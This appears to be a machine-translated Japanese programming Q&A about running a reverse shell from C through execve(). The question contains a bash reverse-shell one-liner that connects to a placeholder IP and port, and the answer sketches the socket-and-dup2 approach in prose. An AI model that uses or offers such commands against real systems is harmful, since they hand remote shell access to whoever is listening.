execve（）を使用して逆シェルを実行してください

Question

execveを使用して逆シェルを実行する必要があります。私は次のようにコマンドラインから実行する方法を知っている：

$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 

次のように私は/bin/shコールの簡単なバージョンを実行することができます

#include <stdio.h> 

int main() { 

    char *args[2]; 
    args[0] = "/bin/sh"; 
    args[1] = "-i"; 
    args[2] = NULL; 

    execve(args[0], args, NULL); 
} 

私は残りの部分を実行する方法を把握することはできませんよコマンドの私は残りの文字列> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1をargs配列の個々の要素として割り当てようとしました。私がそれを実行すると、それはCan't open >を報告します。

上記の逆シェルコマンドはexecve()で実行可能ですか？もしそうなら、それを行う正しい方法は何でしょうか？ありがとう。

Answer 1

/dev/tcp/*/*ファイルが存在しません。それらは、いくつかのシェル（bash、ksh）にのみ存在する抽象です。あなたのCプログラム（socket、bind、listen、accept、そして次にdup2あなたが出すシェルの標準IOディスクリプタのソケット）で通常のソケットプログラミングを行う必要があります。

また、配列のオーバーフローを修正する必要があります。 char *args[] = { "/bin/sh", "-i", 0 };のような初期化はエラーが起こりにくいはずです。